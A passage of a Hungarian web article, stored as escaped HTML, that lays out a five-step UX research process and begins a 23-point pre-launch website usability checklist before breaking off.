elk\u00f6vetnek. A legnagyobb gond, hogy sok olyan inform\u00e1ci\u00f3t gy\u0171jtenek \u00f6ssze kutat\u00e1s c\u00edm\u00e9n, ami hib\u00e1s k\u00f6vetkeztet\u00e9sehez vezet. Ha p\u00e9ld\u00e1ul nem tudod meghat\u00e1rozni pontosan a c\u00e9lcsoportodat, akkor egy olyan k\u00f6z\u00f6ns\u00e9g-szegmensr\u0151l fogsz adatokat gy\u0171jteni, mely nem is haszn\u00e1lja a term\u00e9kedet vagy szolg\u00e1ltat\u00e1sodat. Miel\u0151tt teh\u00e1t nekiugran\u00e1l az adatgy\u0171jt\u00e9snek, meg kell tervezni annak folyamat\u00e1t.<\/p>\n\n\n\n<h3>A UX-kutat\u00e1s folyamata<\/h3>\n\n\n\n<p>Egy megb\u00edzhat\u00f3 UX-kutat\u00e1s \u00f6t l\u00e9p\u00e9sb\u0151l \u00e1ll a <a href=\"http:\/\/www.designorate.com\/ux-research-for-design-project\/\" target=\"_blank\" rel=\"noopener\">Designorate<\/a> szerz\u0151j\u00e9nek egy kiss\u00e9 elm\u00e9leti, ugyanakkor hasznos bejegyz\u00e9se szerint. Ezek az al\u00e1bbiak:<\/p>\n\n\n\n<ol><li>C\u00e9lok – amikor meghat\u00e1rozod, hogy mi a c\u00e9lja az UX-kutat\u00e1snak.<\/li><li>Felvet\u00e9sek – mi az, amit m\u00e1r tudsz a felhaszn\u00e1l\u00f3r\u00f3l?<\/li><li>M\u00f3dszerek – milyen m\u00f3dszert fogsz haszn\u00e1lni a UX-kutat\u00e1s sor\u00e1n?<\/li><li>V\u00e9grehajt\u00e1s – amikor megkezded a kutat\u00e1st \u00e9s begy\u0171jt\u00f6d az inform\u00e1ci\u00f3kat.<\/li><li>K\u00f6vetkeztet\u00e9sek – az \u00f6sszegy\u0171jt\u00f6tt adatok elemz\u00e9se \u00e9s a k\u00f6vetkeztet\u00e9sek levon\u00e1sa a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyre vonatkoz\u00f3an.<\/li><\/ol>\n\n\n\n<p>Ezek azok a l\u00e9p\u00e9sek, melyek k\u00f6vetkezetes v\u00e9grehajt\u00e1sa biztos\u00edtja a kutat\u00e1si eredm\u00e9nyek pontoss\u00e1g\u00e1t \u00e9s a megtervezett c\u00e9lok el\u00e9r\u00e9s\u00e9t.<\/p>\n\n\n\n<h4>1. l\u00e9p\u00e9s: a c\u00e9lok meghat\u00e1roz\u00e1sa<\/h4>\n\n\n\n<p>Mint minden folyamatnak, a UX-kutat\u00e1snak is legyen egy vil\u00e1gosan meghat\u00e1rozott c\u00e9lja. Miel\u0151tt neki\u00e1lln\u00e1l k\u00e9rdezgetni a felhaszn\u00e1l\u00f3kat vagy kiv\u00e1lasztan\u00e1l egy kutat\u00e1si m\u00f3dszert, vil\u00e1gosan kell l\u00e1tnod, hogy pontosan mit is akarsz megtudni, milyen probl\u00e9m\u00e1kat akarsz felt\u00e1rni, melyeket azt\u00e1n ki tudsz el\u00e9g\u00edteni a term\u00e9keddel.<\/p>\n\n\n\n<p>Egy UX-kutat\u00e1s h\u00e1rom \u00e1ltal\u00e1nos c\u00e9lt pr\u00f3b\u00e1lhat meg el\u00e9rni, ezek fogj\u00e1k pontosan kirajzolni a kutat\u00e1s c\u00e9ljait.<\/p>\n\n\n\n<ol><li><strong>Term\u00e9k-el\u0151ny\u00f6k<\/strong> – a UX-kutat\u00e1s pr\u00f3b\u00e1lja meg\u00e9rteni a felhaszn\u00e1l\u00f3i benyom\u00e1sokat a term\u00e9kr\u0151l annak \u00e9rdek\u00e9ben, hogy jav\u00edts\u00e1k azt, valamint tiszt\u00e1zz\u00e1k azokat a probl\u00e9m\u00e1kat, melyeket a term\u00e9k v\u00e1rhat\u00f3an megold majd.<\/li><li><strong>\u00dczleti el\u0151ny\u00f6k<\/strong> – a felhaszn\u00e1l\u00f3k jobb meg\u00e9rt\u00e9se a c\u00e9g sz\u00e1m\u00e1ra is el\u0151ny\u00f6kkel j\u00e1r.<\/li><li><strong>Felhaszn\u00e1l\u00f3i el\u0151ny\u00f6k<\/strong> – a UX-kutat\u00e1s alapvet\u0151 c\u00e9lja, mivel a felhaszn\u00e1l\u00f3kat helyezi a folyamat k\u00f6z\u00e9ppontj\u00e1ba.<\/li><\/ol>\n\n\n\n<p>A c\u00e9lokat le kell \u00edrni, mert ezek vezetnek v\u00e9gig a folyamatban, valamint ezek alapj\u00e1n lehet v\u00e9g\u00fcl meghat\u00e1rozni, hogy sikeres volt-e a UX-kutat\u00e1s vagy sem. Ebben a f\u00e1zisban nincs sz\u00fcks\u00e9g semmilyen eszk\u00f6zre, a gondolatokat \u00f6ssze lehet k\u00f6tni mind map szer\u0171en, ami seg\u00edt megjelen\u00edteni a kapcsol\u00f3d\u00e1sokat.<\/p>\n\n\n\n<h4>2. l\u00e9p\u00e9s: a felvet\u00e9sek<\/h4>\n\n\n\n<p>Ebben a szakaszban m\u00e9g nem l\u00e1tjuk vil\u00e1gosan a felhaszn\u00e1l\u00f3kat, illetve az \u0151 kapcsolatukat a term\u00e9kkel. Ugyanakkor m\u00e9g a kutat\u00e1s megkezd\u00e9se el\u0151tt sz\u00fcks\u00e9g\u00fcnk van n\u00e9h\u00e1ny felt\u00e9telez\u00e9sre a kutat\u00e1si probl\u00e9m\u00e1r\u00f3l. \u00c1ltal\u00e1ban a feltev\u00e9seknek h\u00e1rom t\u00edpus\u00e1t k\u00fcl\u00f6nb\u00f6ztetj\u00fck meg:<\/p>\n\n\n\n<ul><li><strong>Az attit\u0171d\u00f6kkel kapcsolatos feltev\u00e9s<\/strong> – k\u00f6z\u00e9ppontj\u00e1ban az attit\u0171d\u00f6k \u00e1llnak. Ilyen attidt\u0171d p\u00e9ld\u00e1ul az, hogy egy alkalmaz\u00e1s haszn\u00e1l\u00f3i szeretnek megosztani vide\u00f3kat a bar\u00e1taikkal.<\/li><li><strong>A viselked\u00e9ssel kapcsolatos feltev\u00e9s<\/strong> – mely a felhaszn\u00e1l\u00f3i viselked\u00e9sre koncentr\u00e1l. A felhaszn\u00e1l\u00f3i viselked\u00e9sre j\u00f3 p\u00e9lda, amikor a felhaszn\u00e1l\u00f3k megosztj\u00e1k a leg\u00fajabb vide\u00f3kat a bar\u00e1taikkal.<\/li><li><strong>A funkci\u00f3kal kapcsolatos feltev\u00e9s<\/strong> – mely a term\u00e9k tulajdons\u00e1gaira f\u00f3kusz\u00e1l. Teh\u00e1t p\u00e9ld\u00e1ul az applik\u00e1ci\u00f3 felhaszn\u00e1l\u00f3i a Toplist\u00e1ban szerepl\u0151 vide\u00f3kat osztj\u00e1k meg a bar\u00e1taikkal.<\/li><\/ul>\n\n\n\n<p>Hab\u00e1r ezek a feltev\u00e9sek csak ir\u00e1nyt adnak, \u00e9s k\u00e9s\u0151bb egyszer\u0171en igaznak vagy ak\u00e1r hamisnak bizonyulhatnak, m\u00e9gis fontos lenne \u0151ket a lehet\u0151 legpontosabban meghat\u00e1rozni.<\/p>\n\n\n\n<p>Fontos, hogy mivel minden probl\u00e9m\u00e1nak sok megold\u00e1sa lehet, ez\u00e9rt a k\u00e9rd\u00e9seket ne a felhaszn\u00e1l\u00f3knak tedd fel, \u00e9s ne azt pr\u00f3b\u00e1ld megtudni, hogy mik\u00e9nt oldan\u00e1k meg a helyzetet. Ez a Te feladatod, nem pedig az \u00f6v\u00e9k. A megold\u00e1sok helyett a term\u00e9ked haszn\u00e1lat\u00e1val kapcsolatos gondok min\u00e9l m\u00e9lyebb meg\u00e9rt\u00e9s\u00e9re kell t\u00f6rekedned. Ehhez ilyen \u00e9s ezekhez hasonl\u00f3 mondatokat kell megfogalmaznod:<\/p>\n\n\n\n<ul><li>Azt akarom megtudni, hogy melyek a felhaszn\u00e1l\u00f3k legnagyobb probl\u00e9m\u00e1i, amikor… (p\u00e9ld\u00e1ul amikor valamit \u00e9ppen megtesznek a weboldaladon).<\/li><li>Azt akarom megtudni, hogy mennyire k\u00f6nnyen tudj\u00e1k megtenni a weboldalamon azt, hogy…<\/li><li>Azt akarom megtudni, hogy a felhaszn\u00e1l\u00f3k mi\u00e9rt pont itt kezdenek el n\u00e9zel\u0151dni az oldalamon, \u00e9s mi\u00e9rt nem ott.<\/li><\/ul>\n\n\n\n<h4>3. l\u00e9p\u00e9s: a m\u00f3dszerek<\/h4>\n\n\n\n<p>Miut\u00e1n meghat\u00e1roztuk a c\u00e9lokat \u00e9s a feltev\u00e9seinket, \u00e1t kell gondolni, hogy milyen kutat\u00e1si m\u00f3dszereket haszn\u00e1lunk majd a kutat\u00e1s sor\u00e1n. \u00c1ltal\u00e1ban a kutat\u00e1si m\u00f3dszereket k\u00e9t kateg\u00f3ri\u00e1ba lehet rendezni: m\u00e1sodlagos kutat\u00e1si m\u00f3dszerek \u00e9s els\u0151dleges kutat\u00e1si m\u00f3dszerek. Mindegyikb\u0151l nyerhet\u0151k mind a kvantitat\u00edv, mind pedig a kvalitat\u00edv adatok. A kvantitat\u00edv adatok a pontos sz\u00e1mokra \u00e9s m\u00e9r\u00e9sekre f\u00f3kusz\u00e1lnak, m\u00edg a kvalitat\u00edv adatok a v\u00e9lem\u00e9nyekre, az \u00e9lm\u00e9nyre \u00e9s a nem m\u00e9rhet\u0151 inform\u00e1ci\u00f3kra.<\/p>\n\n\n\n<h4>A m\u00e1sodlagos kutat\u00e1s<\/h4>\n\n\n\n<p>Az adatoknak ez a t\u00edpusa azon inform\u00e1ci\u00f3kt\u00f3l f\u00fcgg, melyeket egy hasonl\u00f3 kutat\u00e1s sor\u00e1n m\u00e1r siker\u00fclt \u00f6sszegy\u0171jteni. P\u00e9ld\u00e1ul egy kor\u00e1bbi projekt eset\u00e9ben elv\u00e9gzett UX-kutat\u00e1s sor\u00e1n. Mik\u00f6zben ezen t\u00edpus\u00fa kutat\u00e1sokat k\u00f6nnyebb elv\u00e9gezni, olcs\u00f3bbak \u00e9s kevesebb id\u0151t vesznek ig\u00e9nybe – hiszen az eredm\u00e9nyek m\u00e1r megvannak -, nem \u00f6sszehasonl\u00edthat\u00f3 az els\u0151dleges kutat\u00e1ssal. Ilyen kutat\u00e1sokat p\u00e9ld\u00e1ul kisebb k\u00f6lts\u00e9gvet\u00e9s vagy kev\u00e9s rendelkez\u00e9sre \u00e1ll\u00f3 id\u0151 eset\u00e9n \u00e9rdemes v\u00e9gezni.<\/p>\n\n\n\n<h4>Az els\u0151dleges kutat\u00e1s<\/h4>\n\n\n\n<p>Ez sokkal pontosabb, mint a m\u00e1sodlagos kutat\u00e1s, mivel a kutat\u00f3k maguk gy\u0171jtik \u00f6ssze az adatokat \u00e9s a kutat\u00e1si k\u00e9rd\u00e9seket is a projekt c\u00e9ljaihoz igaz\u00edtj\u00e1k. T\u00f6bbf\u00e9le m\u00f3dszer l\u00e9tezik az els\u0151dleges kutat\u00e1sok v\u00e9grehajt\u00e1s\u00e1ra:<\/p>\n\n\n\n<ul><li>Az <strong>online vagy offline felm\u00e9r\u00e9s<\/strong> egy kvantitat\u00edv adatok begy\u0171jt\u00e9s\u00e9re szolg\u00e1l\u00f3 m\u00f3dszer. Nem ig\u00e9nyel sok el\u0151k\u00e9sz\u00fcletet \u00e9s k\u00f6nnyen v\u00e9grehajthat\u00f3. Ugyanakkor az \u00f6sszegy\u0171jt\u00f6tt adatok f\u00e9lrevezet\u0151ek lehetnek, mivel a felhaszn\u00e1l\u00f3k a kutat\u00f3k fel\u00fcgyelete n\u00e9lk\u00fcl v\u00e1laszolnak a k\u00e9rd\u00e9sekre.<\/li><li>Az <strong>interj\u00fak<\/strong> a kvalitat\u00edv adatok begy\u0171jt\u00e9s\u00e9re szolg\u00e1lnak. Ezek r\u00e9v\u00e9n a kutat\u00f3k sokat megtudnak a felhaszn\u00e1l\u00f3k \u00e9rz\u00e9seir\u0151l \u00e9s a term\u00e9kr\u0151l szerzett benyom\u00e1sokr\u00f3l. Az interj\u00fak t\u00f6rt\u00e9nhetnek szemt\u0151l szemben, online vagy ak\u00e1r telefonon is. Ennek r\u00e9v\u00e9n betekint\u00e9st nyerhet\u00fcnk a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nybe az emberek testnyelv\u00e9t, arckifejez\u00e9seit vizsg\u00e1lva. A m\u00f3dszer komoly el\u0151k\u00e9sz\u00fcleteket \u00e9s szervez\u00e9st ig\u00e9nyel.<\/li><li>A <strong>f\u00f3kuszcsoportok<\/strong> hasonl\u00f3an m\u0171k\u00f6dnek, mint a szem\u00e9lyes interj\u00fak, azzal a k\u00fcl\u00f6nbs\u00e9ggel, hogy egyszerre t\u00f6bb felhaszn\u00e1l\u00f3t vizsg\u00e1lnak. Ez\u00e1ltal hat\u00e9konyabb, mint az egyszem\u00e9lyes interj\u00fa, ugyanakkor figyelembe kell venni, hogy a felhaszn\u00e1l\u00f3kat m\u00e1sok v\u00e9lem\u00e9nye is befoly\u00e1solja.<\/li><li>A <strong>megfigyel\u00e9sek<\/strong> sor\u00e1n a kutat\u00f3k figyelik, hogy az emberek mik\u00e9nt haszn\u00e1lj\u00e1k a term\u00e9ket, mik\u00e9nt l\u00e9pnek vele kapcsolatba. Ez j\u00f3 \u00f6tleteket adhat ahhoz, hogy mik\u00e9nt lehet a term\u00e9ket fejleszteni. Akkor hat\u00e9kony, ha m\u00e1s megold\u00e1sokkal egy\u00fctt alkalmazz\u00e1k, p\u00e9ld\u00e1ul olyan kvantitat\u00edv m\u00f3dszerrel, mint amilyen egy k\u00e9rd\u0151\u00edv.<\/li><\/ul>\n\n\n\n<p>Hogy ezek k\u00f6z\u00fcl melyik m\u00f3dszert v\u00e1lasszuk, els\u0151sorban a c\u00e9lokt\u00f3l f\u00fcgg, \u00e9s hogy milyen adatokat kell begy\u0171jteni. Ha a csapat a sz\u00e1mokra k\u00edv\u00e1ncsi, akkor olyan kvantitat\u00edv m\u00f3dszert \u00e9rdemes haszn\u00e1lni, mint egy k\u00e9rd\u0151\u00edv. Felsorolunk n\u00e9h\u00e1ny tipikus lehet\u0151s\u00e9get, \u00e9s hogy mikor, mit \u00e9rdemes v\u00e1lasztani m\u00f3dszerk\u00e9nt:<\/p>\n\n\n\n<h4>Felhaszn\u00e1l\u00f3 vagy term\u00e9k?<\/h4>\n\n\n\n<p>A felhaszn\u00e1l\u00f3idr\u00f3l akarsz megtudni valamit vagy a term\u00e9kkel kapcsolatban? Val\u00f3sz\u00edn\u0171leg persze mindkett\u0151r\u0151l, de fontos lenne, hogy ezt min\u00e9l pontosabban meghat\u00e1rozd. Egy <strong>felhaszn\u00e1l\u00f3i kutat\u00e1s<\/strong> a felhaszn\u00e1l\u00f3t veszi c\u00e9lba. Azt vizsg\u00e1lja p\u00e9ld\u00e1ul, hogy mik\u00e9nt \u00e9lnek \u00e9s dolgoznak, mit szeretnek, milyen probl\u00e9m\u00e1ik vannak, melyeket Te meg tudsz oldani. Itt olyan m\u00f3dszerek haszn\u00e1lhat\u00f3k, mint az interj\u00fak, a megfigyel\u00e9sek.<\/p>\n\n\n\n<p>A term\u00e9kfejleszt\u00e9s korai szakasz\u00e1ban ilyen kutat\u00e1s sz\u00fcks\u00e9ges, hiszen ez\u00e1ltal ismered meg a c\u00e9lk\u00f6z\u00f6ns\u00e9ged, \u00e9s sz\u0171k\u00edted le azokra, akiknek val\u00f3ban sz\u00fcks\u00e9ge van a term\u00e9kedre.<\/p>\n\n\n\n<p>A <strong>term\u00e9kkutat\u00e1sokn\u00e1l<\/strong> m\u00e1r ismered a k\u00f6z\u00f6ns\u00e9ged, \u00e9s azt akarod megtudni, hogy milyen probl\u00e9m\u00e1ik ad\u00f3dnak a term\u00e9ked haszn\u00e1lata k\u00f6zben. Milyen gyakran haszn\u00e1lj\u00e1k, hol akadnak el, van-e valami akad\u00e1ly, hi\u00e1nyoss\u00e1g, haszn\u00e1lhat\u00f3s\u00e1gi probl\u00e9ma a term\u00e9kkel kapcsolatban, amit meg kellene oldanod.<\/p>\n\n\n\n<p>A haszn\u00e1lhat\u00f3s\u00e1gi vizsg\u00e1latok, a kor\u00e1bbi felhaszn\u00e1l\u00f3k tapasztalatainak megismer\u00e9se seg\u00edt abban, hogy megtudd, mi\u00e9rt nem haszn\u00e1lj\u00e1k m\u00e1r a term\u00e9ked. A megfigyel\u00e9ses vizsg\u00e1latok megmutatj\u00e1k, hogy milyen folyamat zajlik le a term\u00e9k haszn\u00e1lata k\u00f6zben.<\/p>\n\n\n\n<h4>\u00d6tletek keres\u00e9se vagy \u00f6tletek elfogad\u00e1sa?<\/h4>\n\n\n\n<p>Itt a k\u00e9rd\u00e9s, hogy \u00faj \u00f6tleteket keresel, vagy m\u00e1r vannak \u00f6tletek, csak ki kell v\u00e1lasztani a megfelel\u0151t. A <strong>generat\u00edv kutat\u00e1sok<\/strong> seg\u00edtenek az \u00faj \u00f6tletek kital\u00e1l\u00e1s\u00e1ban, p\u00e9ld\u00e1ul \u00faj funkci\u00f3kkal vagy \u00faj term\u00e9kekkel kapcsolatban. Ezek az \u00f6tletek megfigyel\u00e9seken \u00e9s interj\u00fakon alapulnak, \u00edgy sokkal biztosabb l\u00e1bakon \u00e1llnak, mintha puszt\u00e1n a felt\u00e9telez\u00e9seidre t\u00e1maszkodn\u00e1l. Ennek ellen\u00e9re m\u00e9g ellen\u0151rizni kell \u0151ket.<\/p>\n\n\n\n<p>Erre val\u00f3k az <strong>\u00e9rt\u00e9kel\u0151 kutat\u00e1sok<\/strong>: ilyenkor m\u00e1r vannak \u00f6tletek, elk\u00e9pzel\u00e9sek, protot\u00edpusok, de azt m\u00e9g ki kell der\u00edteni, hogy \u00e9rdemes-e vel\u00fck foglalkozni. A kutat\u00e1s r\u00e9v\u00e9n kider\u00fcl, hogy j\u00f3 nyomon j\u00e1rsz-e, \u00e9rdemes-e folytatni a megkezdett utat, vagy ink\u00e1bb valami m\u00e1ssal kellene pr\u00f3b\u00e1lkozni.<\/p>\n\n\n\n<h4>Mi vagy mi\u00e9rt?<\/h4>\n\n\n\n<p>Azt akarod megtudni, hogy mi t\u00f6rt\u00e9nik, vagy ink\u00e1bb azt, hogy mi\u00e9rt? A mi k\u00e9rd\u00e9sre legink\u00e1bb az analitika, a m\u00e9r\u00e9sek tudnak v\u00e1laszolni. Vagyis <strong>kvantitat\u00edv kutat\u00e1sokra<\/strong> van sz\u00fcks\u00e9g. A sz\u00e1mok \u00e9s az adatok, melyek megmutatj\u00e1k, mik\u00e9nt haszn\u00e1lj\u00e1k az emberek a term\u00e9ked, seg\u00edtenek meg\u00e9rteni, mi t\u00f6rt\u00e9nik a term\u00e9kkel. P\u00e9ld\u00e1ul l\u00e1tod, hogy hol esnek ki az emberek egy regisztr\u00e1ci\u00f3s folyamat sor\u00e1n.<\/p>\n\n\n\n<p>A mi\u00e9rt k\u00e9rd\u00e9sn\u00e9l a felhaszn\u00e1l\u00f3k motiv\u00e1ci\u00f3j\u00e1t \u00e9s probl\u00e9m\u00e1it kutatod. Mi\u00e9rt viselkednek adott m\u00f3don az emberek? Teh\u00e1t, ha l\u00e1tod, hogy egy bizonyos ponton sok ember kiesik a regisztr\u00e1ci\u00f3s folyamat sor\u00e1n, akkor <strong>kvalitat\u00edv vizsg\u00e1lattal<\/strong> \u00e1llap\u00edthatod meg, hogy mi\u00e9rt t\u00f6rt\u00e9nik ez.<\/p>\n\n\n\n<h4>Egyszeri vagy hossz\u00fa t\u00e1v\u00fa?<\/h4>\n\n\n\n<p>A k\u00e9rd\u00e9seidre v\u00e1laszt kapsz egy egyetlen vizsg\u00e1lattal, vagy hosszabb id\u0151 kell a v\u00e1laszokhoz? Az egyszeri kutat\u00e1sok \u00e1ltal\u00e1ban v\u00e1laszt adnak a haszn\u00e1lhat\u00f3s\u00e1ggal kapcsolatos k\u00e9rd\u00e9sekre, p\u00e9ld\u00e1ul amikor azt teszteled, hogy a felhaszn\u00e1l\u00f3k v\u00e9gre tudnak-e hajtani egyetlen feladatot.<\/p>\n\n\n\n<p>A hossz\u00fa t\u00e1v\u00fa kutat\u00e1sok viszont abban seg\u00edtenek, hogy meg\u00e9rtsd a viselked\u00e9st \u00e9s a szok\u00e1sokat. Ez t\u00f6bb id\u0151be ker\u00fcl. Ugyanakkor ez\u00e1ltal sokkal megb\u00edzhat\u00f3bb inform\u00e1ci\u00f3khoz jutsz, mint ha egyszer\u0171en csak megk\u00e9rdezn\u00e9d a felhaszn\u00e1l\u00f3kat arr\u00f3l, hogy mire eml\u00e9keznek, \u00e9s mondjanak valamit a szok\u00e1saikr\u00f3l.<\/p>\n\n\n\n<h4>4. l\u00e9p\u00e9s: a v\u00e9grehajt\u00e1s<\/h4>\n\n\n\n<p>Ez a szakasz azzal kezd\u0151dik, hogy a kutat\u00f3k begy\u0171jtik az adatokat a c\u00e9lcsoportt\u00f3l. Ekkor az adatok m\u00e9g csak nyersanyagot jelentenek, melyeket k\u00e9s\u0151bb kell rendszerezni \u00e9s elemezni. A kutat\u00f3knak kell biztos\u00edtani, hogy az adatok pontosak legyen, \u00e9s k\u00fcls\u0151 t\u00e9nyez\u0151k ne befoly\u00e1solj\u00e1k \u0151ket.<\/p>\n\n\n\n<p>Interj\u00fak vagy f\u00f3kuszcsoportok alkalmaz\u00e1s\u00e1n\u00e1l biztos\u00edtani kell, hogy a felhaszn\u00e1l\u00f3kat csak saj\u00e1t tapasztalataik befoly\u00e1solj\u00e1k, ker\u00fclni kell mindenf\u00e9le zavar\u00f3 t\u00e9nyez\u0151t vagy torz\u00edt\u00e1st m\u00e1s felhaszn\u00e1l\u00f3k vagy a kutat\u00f3k r\u00e9sz\u00e9r\u0151l. Ellenkez\u0151 esetben az adatok nem fogj\u00e1k h\u0171en visszaadni a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt. Az id\u0151t \u00e9s a helyet gondosan ki kell v\u00e1lasztani a kutat\u00e1sra, mivel ezek befoly\u00e1solhatj\u00e1k a felhaszn\u00e1l\u00f3i d\u00f6nt\u00e9seket vagy v\u00e1laszokat.<\/p>\n\n\n\n<h4>5. l\u00e9p\u00e9s: k\u00f6vetkeztet\u00e9sek<\/h4>\n\n\n\n<p>Ebben a l\u00e9p\u00e9sben ker\u00fcl sor a begy\u0171jt\u00f6tt adatok rendszerez\u00e9s\u00e9re \u00e9s elemz\u00e9s\u00e9re, valamint a fejleszt\u00e9si folyamat k\u00f6vetkez\u0151 l\u00e9p\u00e9s\u00e9nek meghat\u00e1roz\u00e1s\u00e1ra. A kvalitat\u00edv \u00e9s a kvantitat\u00edv adatok is elemz\u00e9sre ker\u00fclnek annak \u00e9rdek\u00e9ben, hogy k\u00e9pet kapjanak a felhaszn\u00e1l\u00f3r\u00f3l. Az adatok rendszerezhet\u0151k egy \u00fagynevezett <a href=\"http:\/\/www.designorate.com\/wp-content\/uploads\/2015\/08\/empathy-map.pdf\" target=\"_blank\" rel=\"noopener\">emp\u00e1tia t\u00e9rk\u00e9pen<\/a>, ami megmutatja, hogy a felhaszn\u00e1l\u00f3k mit szeretnek \u00e9s ut\u00e1lnak a term\u00e9kkel kapcsolatban, meg\u00e9rthet\u0151v\u00e9 v\u00e1lnak a felhaszn\u00e1l\u00f3k \u00e9rzelmei. Sokan enn\u00e9l a pontn\u00e1l meg\u00e1llnak, pedig a begy\u0171jt\u00f6tt adatok egy m\u00e1sodlagos kutat\u00e1s alapanyagk\u00e9nt j\u00f3l haszn\u00e1lhat\u00f3k a j\u00f6v\u0151beli projektekn\u00e9l.<\/p>\n\n\n\n<p>A UX-kutat\u00e1s folyamata az egyik legfontosabb r\u00e9sze a term\u00e9kfejleszt\u00e9snek. Nem csak az\u00e9rt, mert a term\u00e9kfejleszt\u00e9s korai szakasz\u00e1ban ker\u00fcl r\u00e1 sor, hanem az\u00e9rt is, mert ennek r\u00e9v\u00e9n fogja meg\u00e9rteni a designcsapat a felhaszn\u00e1l\u00f3 viselked\u00e9s\u00e9t, majd fejleszteni, illetve jav\u00edtani a term\u00e9ket a felhaszn\u00e1l\u00f3i sz\u00fcks\u00e9gletekhez igaz\u00edtva. Ennek seg\u00edts\u00e9g\u00e9vel alak\u00edthatunk ki egy felhaszn\u00e1l\u00f3-k\u00f6zpont\u00fa term\u00e9ket, mely sikeres lehet a piacon. A folyamat sor\u00e1n begy\u0171jtj\u00fck \u00e9s elemezz\u00fck az inform\u00e1ci\u00f3kat a term\u00e9kkel vagy szolg\u00e1ltat\u00e1ssal kapcsolatos felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyr\u0151l. Az \u00f6t l\u00e9p\u00e9s nem elhagyhat\u00f3, mert ezen l\u00e9p\u00e9sek megt\u00e9tele n\u00e9lk\u00fcl a kutat\u00e1si adatok nem lesznek pontosak, \u00e9s nem a c\u00e9lcsoportunkat t\u00fckr\u00f6zik majd.<\/p>\n\n\n\n<h2><strong>A 23 pontos UX ellen\u0151rz\u0151 lista, amin fuss \u00e1t m\u00e9g a weboldalad indul\u00e1sa el\u0151tt!<\/strong><\/h2>\n\n\n\n<p>Mik\u00f6zben k\u00e9sz\u00fcl egy weboldal, mindig akad j\u00f3 p\u00e1r olyan hiba, amit nem vesz \u00e9szre senki. Pedig lehetnek a hib\u00e1k komolyak is, olyanok, melyek rendk\u00edv\u00fcl h\u00e1tr\u00e1nyosan \u00e9rintik a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt. Hogy ez ne forduljon el\u0151, \u00e9rdemes egy kis seg\u00edts\u00e9ggel ellen\u0151rizni.<\/p>\n\n\n\n<h4>I. Interakci\u00f3k tervez\u00e9se<\/h4>\n\n\n\n<h4>1. Er\u0151fesz\u00edt\u00e9s n\u00e9lk\u00fcli gyakori \u00e9s ism\u00e9telt cselekv\u00e9sek<\/h4>\n\n\n\n<p>Az olyan gyakran ism\u00e9telt cselekv\u00e9sek, mint p\u00e9ld\u00e1ul k\u00fcl\u00f6nb\u00f6z\u0151 \u0171rlapok kit\u00f6lt\u00e9se – melyekn\u00e9l mindig ugyanazokat az inform\u00e1ci\u00f3kat kell megadni – el\u00e9g f\u00e1raszt\u00f3ak tudnak lenni. Ezeken min\u00e9l el\u0151bb t\u00fal akarnak lenni az emberek, \u00e9s k\u00e9pesek aszerint v\u00e1lasztani egy term\u00e9ket vagy szolg\u00e1ltat\u00e1st, hogy melyikhez jutnak hozz\u00e1 k\u00f6nnyebben \u00e9s gyorsabban.<\/p>\n\n\n\n<p>Ahhoz, hogy a Te \u0171rlapod is j\u00f3l haszn\u00e1lhat\u00f3 legyen, meg kell figyelned a felhaszn\u00e1l\u00f3k viselked\u00e9s\u00e9t, \u00e9s hogy mik\u00e9nt \u00e9rik el a term\u00e9ked. Meg kell gy\u0151z\u0151dn\u00f6d arr\u00f3l, hogy a gyakran ism\u00e9telt cselekv\u00e9seket a lehet\u0151 legk\u00f6nnyebb\u00e9 tetted az emberek sz\u00e1m\u00e1ra. P\u00e9ld\u00e1ul azzal, hogy kor\u00e1bban m\u00e1r megadott inform\u00e1ci\u00f3kat nem k\u00e9rsz el t\u0151l\u00fck \u00fajra.<\/p>\n\n\n\n<h4>2. A felhaszn\u00e1l\u00f3k k\u00f6nnyen t\u00fall\u00e9pnek a hib\u00e1kon?<\/h4>\n\n\n\n<p>Az emberek gyakran nem sz\u00e1nd\u00e9kos cselekedeteket hajtanak v\u00e9gre, illetve olyan dolgokat tesznek, melyek nem a tervezett c\u00e9lt eredm\u00e9nyezik. Ha itt engeded \u0151ket visszal\u00e9pni, hogy \u00fajra pr\u00f3b\u00e1lkozzanak, az azt jelenti, hogy kev\u00e9sb\u00e9 lesznek fursztr\u00e1ltak, \u00e9s csek\u00e9ly megr\u00e1zk\u00f3dtat\u00e1s ut\u00e1n visszat\u00e9rnek a folyamathoz.<\/p>\n\n\n\n<p>Hogy ez n\u00e1lad is \u00edgy m\u0171k\u00f6dik-e, ahhoz meg kell gy\u0151z\u0151dn\u00f6d arr\u00f3l, hogy a navig\u00e1ci\u00f3s rendszered lehet\u0151v\u00e9 teszi-e sz\u00e1mukra a visszal\u00e9p\u00e9st, \u00e9s hogy a cselekv\u00e9snek \u00fajra nekifussanak. Ha v\u00e9gzel uasability teszteket, akkor ezek sor\u00e1n olyan forgat\u00f3k\u00f6nyveket is tesztelni kell, ahol a felhaszn\u00e1l\u00f3 elront valamit.<\/p>\n\n\n\n<h4>3. A felhaszn\u00e1l\u00f3k a t\u00e1j\u00e9kozotts\u00e1gi szintj\u00fcknek megfelel\u0151 t\u00e1mogat\u00e1st kapj\u00e1k?<\/h4>\n\n\n\n<p>Nagyon fontos, hogy azok a felhaszn\u00e1l\u00f3k, akik m\u00e9g csak most ismerkednek a term\u00e9keddel, k\u00f6nnyen meg tudj\u00e1k tanulni annak haszn\u00e1lat\u00e1t. Ugyanakkor azok a felhaszn\u00e1l\u00f3k, akik m\u00e1r j\u00e1rtasak a haszn\u00e1lat\u00e1ban, gyorsabban v\u00e9gig tudjanak haladni a folyamaton.<\/p>\n\n\n\n<p>Teh\u00e1t ellen\u0151rizned kell, hogy vannak-e olyan eszk\u00f6zeid, melyek mindk\u00e9t k\u00f6z\u00f6ns\u00e9g sz\u00e1m\u00e1ra haszn\u00e1lhat\u00f3k. \u00c9rdemes haszn\u00e1lhat\u00f3s\u00e1gi teszteket v\u00e9gezni \u00fajoncokkal \u00e9s gyakorlott felhaszn\u00e1l\u00f3kkal is, hogy l\u00e1sd, m\u0171k\u00f6dnek-e a kital\u00e1lt megold\u00e1sok.<\/p>\n\n\n\n<h4>4. A seg\u00edts\u00e9ghez val\u00f3 hozz\u00e1f\u00e9r\u00e9s nem akad\u00e1lyozza a felhaszn\u00e1l\u00f3t a halad\u00e1sban?<\/h4>\n\n\n\n<p>A felhaszn\u00e1l\u00f3k 